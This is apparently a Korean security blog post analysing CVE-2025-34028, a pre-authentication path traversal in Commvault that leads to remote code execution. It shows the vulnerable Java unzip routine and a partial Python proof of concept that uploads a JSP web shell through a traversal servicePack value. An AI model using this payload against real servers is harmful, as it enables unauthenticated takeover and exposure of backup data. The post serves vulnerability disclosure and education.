[하루한줄] CVE-2025-34028: Commvault Path Traversal 통한 Remote Code Execution 취약점

URL

Target

  • Commvault 11.38.0 – 11.38.19

Explain

데이터 백업 솔루션인 Commvault 에서 Remote Code Execution 이 발견되었습니다.

취약점은 deployWebpackage.dodeployServiceCommcell.do 두 곳에서 트리거 될 수 있습니다. deployWebpackage.do 로 트리거하면 외부 서버에서 zip 파일을 갖고 오고 deployServiceCommcell.do 는 zip 파일을 바로 업로드할 수 있습니다. 두 엔드포인트 모두 deployCCPackage 메소드를 호출하는데요. 여기에서 servicePack 파라메터에 검증이 없기 때문에 압축을 풀 때 상위 디렉토리 접근이 가능합니다.

private void deployCCPackage(String servicePack) throws IOException {
       String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);
       String CC_DEPLOY_PATH = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;
       String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;
       String TEMP_DIR = servicePack + ".tmp" + File.separator + "dist-cc";
       String SERVICEPACK_DEPLOY_PATH = DIST_CC_PATH + servicePack + ".tmp"; 
       File dir = new File(SERVICEPACK_DEPLOY_PATH);
       if (dir.exists()) {
           FileUtils.deleteDirectory(dir);
       }

   this.fileZipUtil.unzipFileWrtAbsPath(CC_DEPLOY_PATH + servicePack + File.separator + "dist-cc.zip", DIST_CC_PATH + TEMP_DIR);

PoC 코드의 일부를 보면 웹 서버에서 접근 가능한 /Reports/MetricsUpload/ 쪽을 대상으로 servicePack 변수를 세팅[1]해서 웹쉘 업로드를 시키는 것을 볼 수 있습니다.

...
random_path = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
print(f"[*] Uploading to  /reports/MetricsUpload/{random_path}/")
upload_url = f"{args.url}/commandcenter/deployServiceCommcell.do"
upload_headers = {"User-Agent": "CommvaultRCEPoC", "Accept": "*/*"}
upload_form = { 
        'servicePack': (None, f'/../../../Reports/MetricsUpload/{random_path}/', 'text/plain'), # [1]
        'version': (None, '12.45', 'text/plain'),
        'file': ('file.zip', shell, 'application/octet-stream')
}
requests.post(upload_url, headers=upload_headers, files=upload_form, verify=False)

shell_url = f"{args.url}/reports/MetricsUpload/{random_path}/.tmp/dist-cc/dist-cc/shell.jsp"
...

참고자료에 따르면 심지어 이 엔드포인트들은 인증을 수행하지 않기 때문에 preauth 로도 트리거가 가능합니다. 그리고 해당 솔루션은 SaaS 로도 제공되기 때문에 외부로 오픈되어 있다면 RCE 로 인해 권한이 탈취당하고 백업된 데이터들 까지도 영향을 미칠 수 있어 파급력이 높아보이네요.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.